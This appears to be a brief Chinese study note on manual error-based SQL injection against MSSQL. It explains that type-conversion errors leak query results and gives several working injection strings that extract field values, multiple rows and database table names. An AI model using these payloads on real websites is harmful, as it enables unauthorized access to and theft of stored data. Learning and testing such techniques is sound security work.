学习笔记 MSSQL显错手工注入
和朋友一起学习,速度就是快。感谢珍惜少年时。
网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段。如下:
' and (查询一段内容)=1 and 'C'='C
nvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败。然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来。
由这个原理衍生出单字段查询。如下:
' and 0=(SELECT top 1 username FROM table) and 'C'='C
然后有衍生出多字段查询。如下:
' and 0=(SELECT top 100 username FROM table FOR XML PATH('')) and 'C'='C
最后根据MSSQL内置表特性和函数,写出如下:
' and 1=(select quotename(name) from 数据库名称..sysobjects where xtype='U' FOR XML PATH('')) and 'C'='C
如果SQL语句看不懂,请百度。
如果有问题欢迎纠正。
低调求发展,潜心习安全。